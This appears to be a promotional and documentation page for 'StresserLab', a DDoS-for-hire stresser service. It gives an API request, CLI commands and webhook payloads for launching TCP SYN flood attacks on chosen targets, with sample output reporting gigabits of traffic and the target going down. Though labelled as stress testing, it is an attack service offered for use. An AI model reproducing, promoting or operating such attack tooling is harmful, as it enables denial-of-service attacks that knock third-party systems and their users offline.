Automate your stress tests with our powerful RESTful API. Full documentation and code examples included.
Integrate StresserLab directly into your workflow. Our API supports all attack methods, real-time status polling, webhook callbacks, and full account management. Available on Premium plans.
POST /api/v2/attack
Authorization: Bearer sk_live_a8f3...x92k
{
"target": "192.168.1.100",
"port": 80,
"method": "TCP_SYN",
"duration": 120,
"servers": "all"
}
Launch and monitor attacks directly from your terminal. Our CLI supports all API functionality with a clean, scriptable interface. Install via npm or download the binary.
$ stresserlab login --key sk_live_a8f3...x92k
[OK] Authenticated as user_4291
$ stresserlab attack --target 192.168.1.100 \
--port 80 --method TCP_SYN --time 120
[OK] Attack launched: ID atk_8x92k
[..] Bandwidth: 4.82 Gbps | Packets: 1.8M
[OK] Target status: TIMED OUT
Get notified when attacks complete, fail, or when your target goes down. Configure webhook endpoints in your dashboard and receive real-time JSON payloads for every event.
{
"event": "attack.completed",
"attack_id": "atk_8x92k",
"target": "192.168.1.100:80",
"method": "TCP_SYN",
"duration": 120,
"peak_bandwidth": "4.82 Gbps",
"target_status": "DOWN",
"timestamp": 1712505600
}